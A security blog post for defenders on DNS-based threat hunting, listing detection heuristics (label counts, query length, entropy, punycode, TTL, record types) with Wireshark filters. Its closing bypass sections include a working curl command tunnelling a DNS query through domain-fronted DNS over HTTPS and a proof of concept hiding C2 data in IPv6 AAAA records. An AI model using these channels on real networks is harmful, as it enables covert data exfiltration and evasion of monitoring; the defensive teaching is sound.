Threat hunting using DNS firewalls and data enrichment

After seeing a few advertisements about DNS firewalls and how expensive they are, I want to share my experience with blue teamers about how DNS firewalls work and how that knowledge can be used for in-house threat hunting solutions and/or building your own DNS firewall (aka do it yourself). These are examples of an approach to detect malicious behaviour, not a tailor made solutions.

At the beginning I would like to highlight that it’s a good practice to monitor not only logs but also DNS traffic in real time. Such traffic isn’t encrypted and if you only check DNS server logs then you can miss direct requests to other DNS servers. Additionally you can also use recently published version of Sysmon [https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon] which supports DNS queries in event ID 22 (DNSEvent).

The DNS queries used below that end with wpad.software were generated by a malicious WPAD file, a badWPAD attack, which was analysed in a previous blog post [https://blog.redteam.pl/2019/05/wpad-software-case-dns-threat-hunting.html].

Multiple levels / high number of subdomains

Typical DNS queries are not using multiple subdomains. Higher number of subdomains might indicate that the DNS is malicious. However an exception to this rule can be CDN (Content Delivery Network) queries.

$ echo W.0228452040.I0.aHR0cHM6Ly9zc2wuZ3N0YXRpYy5jb20v.19.x.wpad.software | tr -cd '.' | wc -c
7

Detection indicator for this method is based on counting the dots in the query. In the example of malicious DNS query above there is 7 dots present.

Example Wireshark display filter: dns.count.labels > 6 or dns.count.labels > 6 && !(dns.qry.type == 12)

Domain length / DNS query length

Total length of a DNS query is a good factor in detecting malicious communication because very long queries are sometimes used for data exfiltration or communication with C&C (C2) servers etc. The longer is the length of a request query the risk that it might be malicious is higher.

$ echo -n W.0228452040.I0.aHR0cHM6Ly9zc2wuZ3N0YXRpYy5jb20v.19.x.wpad.software | wc -c
67

There are 67 chars.

The full domain name can have a total length of 253 characters, so there is a lot of space for data transfer in each DNS query:

$ echo -n
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.
example.com | wc -c
253

Each subdomain (label) can contain up to 63 characters:

$ for x in $(echo aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.example.com | sed 's/\./ /g');do printf "$x " && echo -n $x | wc -c;done
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 63
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 63
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 63
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 49
example 7
com 3

63+63+63+49+7+3=248 + 5 dots give us a total number of 253 characters.

In fact if you find 63 characters in any part (subdomain) then most likely the request is malicious.

Example Wireshark display filter: dns.qry.name.len > 50 or dns.qry.name.len > 50 && !(dns.qry.type == 12)

High entropy

Usually the entropy of malicious DNS queries is higher than the entropy of legitimate domain queries.

$ echo -n W.0228452040.I0.aHR0cHM6Ly9zc2wuZ3N0YXRpYy5jb20v.19.x.wpad.software | ent
Entropy = 4.895606 bits per byte.

Entropy of the malicious query in the example above is 4.89.

$ for domain in $(head -11000 top-1m.csv | awk -F',' '{print $2}');do echo -n $domain | ent | head -1 | awk '{print $3}';done | awk '{ sum+=$1 } END { print "Average: " sum/NR }'
Average: 3.11043

Average entropy of top 11k domains from Alexa is 3.11.

Relying only on this method as a detection indicator can generate false positives (especially for CDN) but if we will combine it with other indicators e.g. total DNS query length – it can be very effective.

Mixed uppercase and lowercase

If at some point mixed upper/lower case characters start to show up in the DNS communications, it should be investigated as it might be e.g. base64 encoded data. It should come to your attention especially with higher than usual entropy and query length.

$ echo W.0228452040.I0.aHR0cHM6Ly9zc2wuZ3N0YXRpYy5jb20v.19.x.wpad.software | tr -cd '[A-Z]' | wc -c
13
$ echo W.0228452040.I0.aHR0cHM6Ly9zc2wuZ3N0YXRpYy5jb20v.19.x.wpad.software | tr -cd '[a-z]' | wc -c
25

In the example above there are 13 uppercase characters and 25 lowercase characters, usually these should be all lowercase or all uppercase.

According to the RFC 4343 [https://tools.ietf.org/html/rfc4343] DNS names should be case insensitive. However this can be also related to specific system/software etc [https://developers.google.com/speed/public-dns/docs/security#randomize_case].
Quoting Georgia Tech [https://astrolavos.gatech.edu/articles/increased_dns_resistance.pdf], 0x20-Bit Encoding is “technique to make DNS queries more resistant to poisoning attacks: mix the upper and lower case spelling of the domain name in the query. Fortuitously, almost all DNS authority servers preserve the mixed case encoding of the query in answer messages. Attackers hoping to poison a DNS cache must therefore guess the mixed-case encoding of the query, in addition to all other fields required in a DNS poisoning attack. This increases the difficulty of the attack”. This technique is still not a standard (RFC draft [https://tools.ietf.org/html/draft-vixie-dnsext-dns0x20-00]) and because of that most of DNS queries should still contain only lowercase characters.

Non-alphanumeric DNS requests

Domain names registration is allowed only with alphabet letters, digits and hyphens. Domains which are using other characters are present in Punycode notation, but still in the DNS traffic there will be no other characters.

Non-alphanumeric DNS requests are very rare to see and in almost all cases requests like that are related to malicious behaviour, such as transferring base64 encoded data in domain name:

$ host cmVkdGVhbS5wbA==.redteam.pl
cmVkdGVhbS5wbA==.redteam.pl is an alias for redteam.pl.

Wireshark display filter: dns.qry.name ~ "[^a-zA-Z0-9.-]"

Punycode

Punycode is defined in RFC 3492 [https://tools.ietf.org/html/rfc3492], quoting: “Punycode is a simple and efficient transfer encoding syntax designed for use with Internationalized Domain Names in Applications (IDNA). It uniquely and reversibly transforms a Unicode string into an ASCII string. ASCII characters in the Unicode string are represented literally, and non-ASCII characters are represented by ASCII characters that are allowed in host name labels (letters, digits, and hyphens)”. Basically the intent of this feature is to use special letters (characters) from alphabets other than English (such as Polish diacritical marks) in domain names:

żółć.pl

This domain will be translated by the client to:

xn--kda4b0koi.pl

Query should be visible as Punycode in network traffic:

DNS Standard query 0x60ee A xn--kda4b0koi.pl

Punycode isn’t very popular and use of this is marginal, but in the past it was used in phishing and malware campaigns [https://www.xudongz.com/blog/2017/idn-phishing/, https://blog.malwarebytes.com/threat-analysis/2017/12/seamless-campaign-caught-using-punycode/].

  1. REDТEAM.PL / redтeam.pl (xn--redeam-rrf.pl) Т422
  2. REDTΕAM.PL / redtεam.pl (xn--redtam-lye.pl) Ε395
  3. REDTEΑM.PL / redteαm.pl (xn--redtem-txe.pl) Α391
  4. REDTEAМ.PL / redteaм.pl (xn--redtea-nqf.pl) М41c
  5. rеdteam.pl (xn--rdteam-3of.pl) е435

These are not real RED TEAM addresses but Punycode representation which looks exactly like REDTEAM.PL. Because of this it is worth to keep track of the Punycode DNS requests and check them against legitimate but similar domain names without Punycode [https://www.irongeek.com/homoglyph-attack-generator.php].

Wireshark display filter: dns.qry.name matches "^xn--"

Type of DNS request

Common DNS queries for workstations are A (IPv4), AAAA (IPv6) and PTR (revDNS).

Wireshark display filter: !(dns.qry.type == 1 || dns.qry.type == 28 || dns.qry.type == 12)

Very unusual queries for clients (not servers) are AXFR and ANY (*), which almost certainly will be related to some malicious communication.

Wireshark display filter: dns.qry.type == 252 || dns.qry.type == 255 [https://tools.ietf.org/html/rfc1035#page-12]

Another example is a workstation/desktop sending TXT DNS queries. It is an indicator of an abnormal behaviour as these queries are usually emitted by servers (like SPF, DKIM, DMARC etc). Queries like TXT are often used by malware authors as it’s the easiest way for communication through DNS (>255 characters in simple string).

$ host -t txt wpad.software
wpad.software has no TXT record

Wireshark display filter: dns.qry.type == 16

However some legitimate applications send such queries from client workstations e.g. ESET antivirus.

Wireshark display filter: dns.qry.name ~ "e5.sk$" [https://forum.eset.com/topic/2037-is-this-malware/?#comment-53260]


From WHOIS domain record we can learn that it is hosted on ESET nameservers.

$ whois e5.sk
Domain:                       e5.sk
[...]
Created:                      2011-09-20
Updated:                      2018-09-13
Valid Until:                  2019-09-20
Nameserver:                   h3-f5lb01-s.eset.com
Nameserver:                   h1-f5lb01-s.eset.com
Nameserver:                   h5-f5lb01-s.eset.com
[...]
Organization:                 ESET, spol. s r.o.
[...]

Example of DNS queries, which looks malicious (but are legit and related to ESET antivirus):


If your organisation is using ESET or any other legitimate software which sends “weird” DNS queries you can exclude it in a filter.

Example Wireshark display filter: !(dns.qry.type == 1 || dns.qry.type == 28 || dns.qry.type == 12 || dns.qry.name ~ "e5.sk$")

BTW, the ESET company is doing data enrichment with use of DNS queries for MAC vendor:


$ host -t txt 0C-9D-92.a.o.e5.sk
0C-9D-92.a.o.e5.sk descriptive text "ESET-OUI:ASUSTek COMPUTER INC."

Reverse DNS (PTR record)

As mentioned above, common DNS queries for workstations are i.a. PTR (revDNS) records. Hostnames obtained from PTR responses can be checked like any other domain – against example rules presented in this article, to detect potential malicious communication.

$ host -t a google.com
google.com has address 216.58.215.110
$ host 216.58.209.14
14.209.58.216.in-addr.arpa domain name pointer sof01s12-in-f14.1e100.net.
14.209.58.216.in-addr.arpa domain name pointer waw02s18-in-f14.1e100.net.
14.209.58.216.in-addr.arpa domain name pointer sof01s12-in-f14.1e100.net.
14.209.58.216.in-addr.arpa domain name pointer waw02s18-in-f14.1e100.net.

Let's assume there would be some .arpa domain name pointing for example to .kp (North Korea) gTLD, then using PTR responses it could be possible to detect malicious behaviour like domain hijacking etc.

As another example (perhaps exaggerated) assuming that Google always has IP addresses with revDNS and one day it starts having another revDNS names, or just lack of any name pointer, it could help in detecting attacks such as BGP hijacking – let’s say in simplification, because another point is DNS recursion and for example we can detect such a large scale attack in the traffic from an ISP of DNS server.

Anyway, I strongly believe that it is always worth to use revDNS resolved domain names in another checks described in this article as it can provide unexpected results, in positive meaning, for detecting malicious behaviour.

Wireshark display filter: dns.ptr.domain_name

TTL (Time to Live)

Usually lower TTL indicates higher probability of a malicious behaviour, but this is not always the case, e.g. CDNs such as Cloudflare keeps TTL at 300 seconds (5 minutes). When we observe TTL as low as 0-1 seconds then most likely this will come from malicious network activity e.g. DNS rebinding attack [https://en.wikipedia.org/wiki/DNS_rebinding] or malware, e.g. fast flux [https://en.wikipedia.org/wiki/Fast_flux] or Kelihos which used TTL 0 (in 2013 I wrote a Perl script [https://gist.github.com/adamziaja/618480a766af42d62141] to check .com zone for potential Kelihos domains).

Example Cloudflare TTL:

$ dig +nocmd +noall +answer +ttlid a redteam.pl
redteam.pl.             299     IN   A 104.248.133.95

Wireshark display filter: dns.resp.ttl < 30 and dns.soa.refresh_interval < 300

After whitelisting common CDNs the detection of low TTL is a valuable IoC (Indicator of Compromise).

Reserved IP addresses

When an external domain resolves to a reserved IP addresses, especially a private network (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) or localhost (127.0.0.0/8) then it’s most likely related to a malicious behaviour.

Quoting as an example part of my blog post [https://blog.redteam.pl/2019/04/dns-based-threat-hunting-and-doh.html] about "LAME" technique: “Historically this was a technique used by bot masters to temporary deactivate botnets which for example were IRC based and the malware binary had a hardcoded domain. Each bot tried to reconnect in some period of time to the IRC server but when a domain started to point at localhost (IN A 127.0.0.1) then each bot switched to a standby state – wasn’t able to connect as there was no local IRC service, so it kept trying to connect and querying DNS for C&C (Command and Control, C2) domain after TTL time has passed. [...] but tried connecting to localhost as long as the domain was pointing there, also short TTL (in DNS it is time in seconds) was in use. If a botmaster needed access to the botnet then it was all about starting the C&C and then changing DNS records, each zombie was reconnecting whenever the requested domain was pointing again to the C&C IP address”.

Another example can be private network IP address with short TTL (e.g. 0-5), which most likely will be DNS rebinding attack on some local resources, such as internal device like a router etc.

However if resolved IP address is 127.0.53.53 this case should especially draw our attention as this address is special, quoting ICANN: “127.0.53.53 is a special IPv4 address that will appear in system logs alerting system administrators that there is potential name collision issue, enabling a quick diagnosis and remediation” [https://www.icann.org/resources/pages/name-collision-2013-12-06-en#127.0.53.53]. Such resolved IP address can be a symptom of connection attempts to a sinkhole, which most likely means malware infection or DNS collision, such as (bad)WPAD [https://blog.redteam.pl/2019/05/badwpad-dns-suffix-wpad-wpadblocking-com.html].

Wireshark display filter: dns.a == 127.0.0.0/8 || dns.a == 10.0.0.0/8 || dns.a == 172.16.0.0/12 || dns.a == 192.168.0.0/16

DNS blacklisting, DNS sinkhole, IP addresses and domains reputation

Data enrichment is especially useful in verification of bad reputation of domains and IP addresses. In this case DNS queries can be compared against the blacklists of malicious hostnames. For example a good resource of phishing websites is PhishTank [https://www.phishtank.com/developer_info.php]. Malicious lists like PhishTank are usually aggregated and delivered by CTI (Cyber Threat Intelligence) resources. We can also create our own blacklists for example with misspelled (typosquatting) domain names [https://blog.redteam.pl/2019/05/typosquatting-wpadblocking-com-wpadblock-com.html] related to our organisation etc.

Example typosquatting which can be used by attackers:
  • i = l
  • l = t
  • i = t
  • d = b
  • n = m
  • rn = m
  • 24 = 42
  • rn = m
  • cl = d
  • q = g
  • cj = g
  • vv = w
  • ci = a

For blacklisted resources internal organisation name server should return the IP address of a sinkhole, to focus attention on what happened on the computer which made this DNS query, as it can be a symptom of malware infection. DNS blacklisting can even stop malware actions, so it is a good idea to stop such resolution and don’t return original DNS response to a victim computer.

Watch out for whitelists as there are malicious techniques like domain shadowing in which attackers hijack legitimate domains. In this approach an attacker usually creates new subdomains which are later used in the attack. Even if you decided on domain whitelisting try not to whitelist all subdomains of a domain which you trust. As an example, if you trust redteam.pl domain, don’t whitelist all its subdomains *.redteam.pl, but try to whitelist only selected subdomains such as www.redteam.pl etc.

An example DNS sinkhole, not directly related to security, is Pi-hole [https://github.com/pi-hole/pi-hole] which is a black hole for Internet advertisements.

Newly created domains

DNS queries for new domains might also be an indicator to investigate, as it could be used by malware with DGA (Domain Generating Algorithm) or a phishing attempt with typosquatting etc.

If you have access to DNS zones such as for example Centralized Zone Data Service (CZDS) [https://czds.icann.org] you can diff DNS zones for new domains and create a blacklist – performing checks this way will be much faster than using WHOIS.

When doing data enrichment with WHOIS queries, responses which are hiding registrant details behind a “privacy proxy” can give you additional points to raise an alert.

$ whois adamziaja.com
[...]
Domain Name: adamziaja.com
[...]
Registrant Name: On behalf of adamziaja.com OWNER
Registrant Organization: c/o whoisproxy.com
Registrant Street: 604 Cameron Street
Registrant City: Alexandria
Registrant State/Province: VA
Registrant Postal Code: 22314
Registrant Country: US
Registrant Phone: +64.48319528
Registrant Phone Ext:
Registrant Fax:
Registrant Fax Ext:
Registrant Email: 248d[...][email protected].whoisproxy.org
[...]

Name servers (NS record)

If any data enrichment process is being used during investigation of DNS traffic it is also worth verifying name servers (NS records) of a domain. If a free DNS servers are used to host the domain, such as FreeDNS [https://freedns.afraid.org], then it also increases the chance of a domain being malicious.

Another example which should raise an alert could be NS servers which hosted malicious domains in the past.

GeoIP

When domain resolves to IP addresses which are located in some “suspicious” countries, based on our location. It can be for example country located in a different part of the world. If an European government unit computers resolve a domain which points to IP addresses in North Korea, it probably should raise a flag. This approach can help detecting e.g. domain or DNS hijacking.

TLD

If a domain has an uncommon TLD such as .onion related to TOR or .kp (North Korea), when your organisation is located in Europe and doesn’t have connections related to North Korea, this also should trigger an alert.

Especially you should focus on new gTLDs such as the one owned by Donuts [https://donuts.domains/what-we-do/top-level-domains], which are i.a.: .management, .network, .services, .support, .business, .center, .company, .group, .computer, .systems, .technology, .engineer, .software – these TLDs can be used for internal domain collisions, attacks such as badWPAD [https://blog.redteam.pl/2019/05/badwpad-dns-suffix-wpad-wpadblocking-com.html].

Example Wireshark display filter: !(dns.qry.name ~ ".pl$" || dns.qry.name ~ ".arpa$" || dns.qry.name ~ ".com$" || dns.qry.name ~ ".net$" || dns.qry.name ~ ".org$")

Internal domain name collisions

If your DNS suffix is e.g. Home, then you definitely should monitor for such DNS queries because of the collisions mentioned above. Most likely your queries leak at least to root servers (*.root-servers.net) i.a. when you do single world search in Google Chrome address bar etc.

BTW, I hope that in the future it won’t be possible to register .home TLD... 

Example Wireshark display filter: dns.qry.name ~ "Home$"

Another filter which can help detecting such potential, currently not existing, domains which can lead to internal domain name collisions:

Wireshark display filter: dns.flags.rcode == 3 && dns.count.auth_rr == 1 && !(dns.qry.type == 12)

Round-robin DNS

Round-robin DNS is a technique used for load balancing where domains resolve to multiple IP addresses. This detection could trigger alert if there are e.g. 5+ IP address resolved and location (GeoIP) or ASN is very different between resolved IPs. For example (not a real one, just demonstrating how it could look):

$ for ip in $(host -t a google.com | awk '{print $4}');do printf "$ip " && geoiplookup $ip | grep ASN;done
74.125.133.101 GeoIP ASNum Edition: AS15169 Google LLC
74.125.133.100 GeoIP ASNum Edition: AS15169 Google LLC
175.45.176.91 GeoIP ASNum Edition: AS131279 Ryugyong-dong
74.125.133.138 GeoIP ASNum Edition: AS15169 Google LLC
74.125.133.139 GeoIP ASNum Edition: AS15169 Google LLC
74.125.133.102 GeoIP ASNum Edition: AS15169 Google LLC
74.125.133.113 GeoIP ASNum Edition: AS15169 Google LLC

CDNs can potentially generate false positives, so it can be whitelisted, however attackers can also use such whitelisted CDNs in their attack scenario… threat hunting is a never ending story. Usually CDNs return IPs from the same (sometimes a few) ASN/CIDR as they uses GeoDNS with short TTL.

Another point to trigger an alert and focus attention can be if any of the resolved IP addresses is on a malicious blacklist taken from CTI.

Example Wireshark display filter: dns.count.answers > 10

Same resolve

Could be an indicator of malicious behaviour if numerous different DNS queries resolve to the same resource, such as IP address (A, AAAA). Please keep in mind that this can also be a false positive for CDN and other load balancing solutions etc.

In the following examples these are legitimate DNS requests:

Number of DNS requests

If a single host is making unreasonable number of DNS queries, it could be DNS tunneling (such as dnscat2 [https://github.com/iagox86/dnscat2]), communication with a C&C server [https://unit42.paloaltonetworks.com/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/] or data exfiltration, as an example please check wpad.software case [https://blog.redteam.pl/2019/05/wpad-software-case-dns-threat-hunting.html].


Diagrams like the one above can also be used to detect beaconing activity of malware (malware beaconing), such as DGA.

Time of request

For example detecting DNS queries which are made after working hours. This method is known to generate false positive results as even computers which are not used by employees directly for work but still turned-on will generate a lot of DNS queries for e.g. software updates, feed updates etc. However over time we can whitelist known-good domains which are being requested after working hours, like Microsoft update etc.

Errors in response 

As an indicator we can use requests which return errors such as NXDOMAIN (Non-Existent Domain). This activity can be related to DGA used by malware trying to connect with a C&C. If previously used by C&C domain will be taken down, after some period of time malware is generating a different C&C address to which it should connect (good reason for sinkholing). A malicious actor knows this algorithm and is able to setup (buy) such DGA-generated domains in the future, even long time after the initial infection. This is the reason why DNS errors can be interesting artifacts made by malware DGA trying connect to C&C address. Please also keep in mind that DGA requests usually have the same length even for different malware binaries coming from the same malware-family.

Wireshark display filter: dns.flags.rcode == 3 for NXDOMAIN or just all errors dns.flags.rcode > 0

Other DNS servers

Typical organisation is usually resolving DNS names using DNS servers provided by a single company like Google, Cloudflare, ISP or just their own servers (and then uses DNS forwarders). It’s worth to take a better look at machines in the network that resolve DNS using different addresses than whatever is a default configuration in the organisation as these machines might be infected with malicious software.

Example Wireshark display filter: dns && !(ip.dst == 8.8.8.8 || ip.dst == 1.1.1.1 || ip.dst == 192.168.0.0/16)

Bypassing DNS firewall with payload via DNS over HTTPS

I already described this method in a separate blog post about DNS over HTTPS [https://blog.redteam.pl/2019/04/dns-based-threat-hunting-and-doh.html]. DoH with domain fronting can lead to trivial DNS firewall bypasses:

$ curl -v -H 'Host: dns.google.com' "https://google.com/resolve?name=`cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1`.redteam.pl&type=A"

*   Trying 216.58.215.78...
* TCP_NODELAY set
* Connected to google.com (216.58.215.78) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*   CAfile: /etc/ssl/certs/ca-certificates.crt
  CApath: /etc/ssl/certs
* TLSv1.2 (OUT), TLS handshake, Client hello (1):
* TLSv1.2 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Client hello (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-ECDSA-CHACHA20-POLY1305
* ALPN, server accepted to use h2
* Server certificate:
*  subject: C=US; ST=California; L=Mountain View; O=Google LLC; CN=*.google.com
*  start date: May  7 11:29:56 2019 GMT
*  expire date: Jul 30 10:54:00 2019 GMT
*  subjectAltName: host "google.com" matched cert's "google.com"
*  issuer: C=US; O=Google Trust Services; CN=Google Internet Authority G3
*  SSL certificate verify ok.
* Using HTTP2, server supports multi-use
* Connection state changed (HTTP/2 confirmed)
* Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0
* Using Stream ID: 1 (easy handle 0x7fffc18dd8e0)
> GET /resolve?name=eJ2x9rbpjWa3vfiEwVCq1F7oREM2P3aH.redteam.pl&type=A HTTP/2
> Host: dns.google.com
> User-Agent: curl/7.58.0
> Accept: */*
>
* Connection state changed (MAX_CONCURRENT_STREAMS updated)!
< HTTP/2 200
< strict-transport-security: max-age=31536000; includeSubDomains; preload
< access-control-allow-origin: *
< date: Sat, 25 May 2019 00:11:49 GMT
< expires: Sat, 25 May 2019 00:11:49 GMT
< cache-control: private, max-age=299
< content-type: application/x-javascript; charset=UTF-8
< server: HTTP server (unknown)
< x-xss-protection: 0
< x-frame-options: SAMEORIGIN
< alt-svc: quic=":443"; ma=2592000; v="46,44,43,39"
< accept-ranges: none
< vary: Accept-Encoding
<
* Connection #0 to host google.com left intact
{"Status": 0,"TC": false,"RD": true,"RA": true,"AD": false,"CD": false,"Question":[ {"name": "eJ2x9rbpjWa3vfiEwVCq1F7oREM2P3aH.redteam.pl.","type": 1}],"Answer":[ {"name": "eJ2x9rbpjWa3vfiEwVCq1F7oREM2P3aH.redteam.pl.","type": 5,"TTL": 299,"data": "redteam.pl."},{"name": "redteam.pl.","type": 1,"TTL": 299,"data": "104.248.133.95"}],"Comment": "Response from 173.245.58.103."}

Formatted response:

{  
   "Status":0,
   "TC":false,
   "RD":true,
   "RA":true,
   "AD":false,
   "CD":false,
   "Question":[  
      {  
         "name":"eJ2x9rbpjWa3vfiEwVCq1F7oREM2P3aH.redteam.pl.",
         "type":1
      }
   ],
   "Answer":[  
      {  
         "name":"eJ2x9rbpjWa3vfiEwVCq1F7oREM2P3aH.redteam.pl.",
         "type":5,
         "TTL":299,
         "data":"redteam.pl."
      },
      {  
         "name":"redteam.pl.",
         "type":1,
         "TTL":299,
         "data":"104.248.133.95"
      }
   ],
   "Comment":"Response from 173.245.58.103."
}

In such DNS query user private data could be exfiltrated e.g. browser history like in wpad.software case [https://blog.redteam.pl/2019/05/wpad-software-case-dns-threat-hunting.html], as well as it could be used to communicate with C&C servers etc.

Network communication for DNS over HTTPS with domain fronting in Wireshark might look like on the picture below:


It looks like normal HTTPS communication to Google where we can see not encrypted Server Name value with Wireshark display filter tls.handshake.extensions_server_name which is in this example just google.com. Main problem is that it’s not dns.google.com which could easily lead to detecting such activity as this is the domain of Google DNS over HTTPS service [https://developers.google.com/speed/public-dns/docs/dns-over-https], but the only DNS query which will be there is for google.com (no dns.google.com because of domain fronting).

Bypassing DNS firewall with payload in IPv6 records

This is my simple idea and PoC (Proof-of-Concept), demonstrating how easily DNS firewall can be bypassed. Communication with C&C (C2) using AAAA (IPv6) DNS record can be done as following:

$ host redteaming.redteam.pl
redteaming.redteam.pl has IPv6 address 7265:6474:6561:6d2e:706c:2065:6c65:6574

$ host redteaming.redteam.pl | awk '{print $5}'
7265:6474:6561:6d2e:706c:2065:6c65:6574

$ host redteaming.redteam.pl | awk '{print $5}' | xxd -r -p
redteam.pl eleet

It is just a simple conversion between hex and ASCII. This IPv6 (AAAA) is a valid address and can be verified for example with PHP CLI one-liner:

$ host redteaming.redteam.pl | awk '{print $5}' | php -R 'echo filter_var($argn, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6).PHP_EOL;'
7265:6474:6561:6d2e:706c:2065:6c65:6574

If there is a need to transfer a larger payload then the approach can be similar to the one already described in one of the previous blog posts [https://blog.redteam.pl/2019/04/dns-based-threat-hunting-and-doh.html]. In short using round-robin DNS with a payload encoded in AAAA records and something like: 2 first chars as a line number (order in round-robin DNS is random for load balancing), next 14 chars for content like payload, because in AAAA record you can encode 16 chars. Please also note that for modern systems it is normal to do both, IPv4 (A) and IPv6 (AAAA) DNS queries.

Bypass DNS firewall by communication with trusted domain


Another example there is domain shadowing (hybrid attack) in which attackers break into a registrar or DNS hosting accounts etc.

Bypass DNS firewall by communication without DNS queries

Yes, this is the most effective way to bypass DNS firewalls – just communicate without DNS queries, directly via an IP address. In targeted attacks no one will risk detection because of some new and/or uncategorized domain etc.

Summary

In some cases DNS based threat hunting can still be a powerful approach, as it is with AV software – it always adds an additional layer of protection but almost never it will work against a well prepared targeted attack using custom payloads etc.

The most important thing is to have skilled threat hunters, who have knowledge in both – blue teaming and red teaming, as this knowledge is on top of The Pyramid of Pain [http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html]. It is hard to detect adversaries if a blue teamer doesn’t have the knowledge about today's attacks. Blue teamers needs to think like an attacker if they want to effectively protect the organisation against them, not just against low skilled attackers such as script kiddies.

To show how important are these mixed skills I will quote Ryan Kovar, Principal Security Strategist at Splunk [https://www.splunk.com/blog/2019/05/01/staff-picks-for-splunk-security-reading-april-2019.html], who commented on my article “DNS based threat hunting and DoH (DNS over HTTPS)” [https://blog.redteam.pl/2019/04/dns-based-threat-hunting-and-doh.html]: “As someone who has been advocating the detection of malicious activities via DNS for many years, I was dismayed when I found out about malicious use of DNS over HTTPS (DoH). This is a great technical primer for blue teamers to learn the ins and outs of DoH and how red teamers/adversaries can use it to bypass just about every single defense we have. I spent some time after this paper trying to whiteboard how to detect DoH consistently... and I'm not gonna lie, it's going to be hard”.

Examples presented in this blog post can be used the same way as SPAM detection engines – calculating scores which indicate the possibility of malicious communication to avoid many false positives. For example: if entropy is above a certain value, when a domain is longer than average, WHOIS returns some hidden records etc – then add a points and at the end sum it all so you can prioritize cases with highest scores that are most likely malicious communications. To do it you don’t need any AI, ML, blockchain, unicorns or gummiberry juice – it can be as simple as that and also detection level will be similar or even better. Remember that DNS based detection is just another additional layer, nothing else, not any silver bullet for attack detection – also don’t believe in everything DNS firewall advertisements claim, buying an overpriced DNS firewall solution is the triumph of form over substance.

Please note that these are just examples and there are other possible implementations of hundreds of such ideas. Mentioned techniques and examples such as Wireshark display filters should be also specific for an organisation, as there is no general approach for everything and it always depends on many aspects.

Additional resources

1 comment:

Josef Meier said...

thanks, nice overview and good hints

Subscribe Posts Comments